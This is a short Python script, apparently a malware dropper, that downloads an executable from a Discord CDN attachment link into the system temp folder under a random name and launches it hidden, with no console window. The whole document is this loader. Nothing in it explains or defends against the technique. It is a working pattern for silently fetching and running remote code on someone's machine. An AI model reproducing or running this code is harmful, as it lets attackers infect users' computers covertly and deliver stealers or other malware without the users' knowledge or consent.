import requests import os import uuid import tempfile import subprocess url = "https://cdn.discordapp.com/attachments/1112352523852976247/1218215232288194600/example.exe?ex=6606da58&is=65f46558&hm=319cd18849872c6c60bfaacf7446a9decd6438035812870c7f45d0bb7b054772&" temp = tempfile.gettempdir() name = os.path.join(temp, str(uuid.uuid4()) + ".exe") response = requests.get(url) if response.status_code == 200: with open(name, 'wb') as dosya: dosya.write(response.content) subprocess.Popen([name], creationflags=subprocess.CREATE_NO_WINDOW, shell=True) else: exit